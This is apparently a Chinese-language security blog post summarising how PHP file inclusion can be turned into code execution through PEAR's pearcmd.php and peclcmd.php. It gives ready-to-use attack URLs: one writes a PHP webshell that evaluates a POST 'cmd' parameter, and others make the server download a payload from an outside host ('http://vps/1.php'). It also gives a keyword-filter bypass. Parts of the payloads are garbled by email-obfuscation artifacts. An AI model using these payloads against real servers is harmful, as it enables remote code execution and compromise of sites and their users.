關於pearcmd利用總結

語言: CN / TW / HK

有兩個條件

pecl是PHP中用於管理擴展而使用的命令行工具,而pear是pecl依賴的類庫。在7.3及以前,pecl/pear是默認安裝的;在7.4及以後,需要我們在編譯PHP的時候指定 --with-pear 才會安裝。

不過,在Docker任意版本鏡像中,pcel/pear都會被默認安裝,安裝的路徑在 /usr/local/lib/php

並且php.ini當中 register_argc_argv=On需要開啟

準備

<?php
include($_GET['file']);

pear會在 pearcmd.php 獲取命令行參數

PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
    unset($argv[1]);
    $argv = array_values($argv);
}

而pear獲取命令行參數在 readPHPArgv()

public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if ([email protected]_array($_SERVER['argv'])) {
                if ([email protected]_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

這裏會先嚐試 $argv ,如果不存在再嘗試 $_SERVER['argv'] ,後者我們可通過query-string控制。也就是説,我們通過Web訪問了pear命令行的功能,且能夠控制命令行的參數

利用

可以看到參數有這麼多

Commands:
build                  Build an Extension From C Source
bundle                 Unpacks a Pecl Package
channel-add            Add a Channel
channel-alias          Specify an alias to a channel name
channel-delete         Remove a Channel From the List
channel-discover       Initialize a Channel from its server
channel-info           Retrieve Information on a Channel
channel-login          Connects and authenticates to remote channel server
channel-logout         Logs out from the remote channel server
channel-update         Update an Existing Channel
clear-cache            Clear Web Services Cache
config-create          Create a Default configuration file
config-get             Show One Setting
config-help            Show Information About Setting
config-set             Change Setting
config-show            Show All Settings
convert                Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff                Run a "cvs diff" for all files in a package
cvstag                 Set CVS Release Tag
download               Download Package
download-all           Downloads each available package from the default channel
info                   Display information about a package
install                Install Package
list                   List Installed Packages In The Default Channel
list-all               List All Packages
list-channels          List Available Channels
list-files             List Files In Installed Package
list-upgrades          List Available Upgrades
login                  Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout                 Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm                Builds an RPM spec file from a PEAR package
package                Build Package
package-dependencies   Show package dependencies
package-validate       Validate Package Consistency
pickle                 Build PECL Package
remote-info            Information About Remote Packages
remote-list            List Remote Packages
run-scripts            Run Post-Install Scripts bundled with a package
run-tests              Run Regression Tests
search                 Search remote package database
shell-test             Shell Script Test
sign                   Sign a package distribution file
svntag                 Set SVN Release Tag
uninstall              Un-install Package
update-channels        Update the Channel List
upgrade                Upgrade Package
upgrade-all            Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]

可以看見這裏面有三個可能利用的參數,一個是p牛文中提到的config-create,一個install還有用過download

config-create

多加一個die,防止多個輸出

/?file=/www/server/php/52/lib/php/pearcmd.php&+config-create+/<[email protected]($_POST['cmd']);die()?>+/tmp/test.php 

install

/?file=/www/server/php/52/lib/php/peclcmd.php&+install+http://vps/1.php

文件就會被下載到 /tmp/pear/download/1.php ,回顯能看到

download

個人覺得這個比上面install舒服點,這個直接下載到web目錄了,不用提前知道web目錄具體路徑

/?file=/www/server/php/52/lib/php/peclcmd.php&+download+http://vps/1.php

閒話

如果pearcmd關鍵詞被ban怎麼半,其實可以用peclcmd.php作為平替,在這個php文件當中其實就是引入了pearcmd.php

if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') {
    ini_set('include_path', '/www/server/php/52/lib/php');
    $raw = false;
} else {
    // this is a raw, uninstalled pear, either a cvs checkout, or php distro
    $raw = true;
}
define('PEAR_RUNTYPE', 'pecl');
require_once 'pearcmd.php';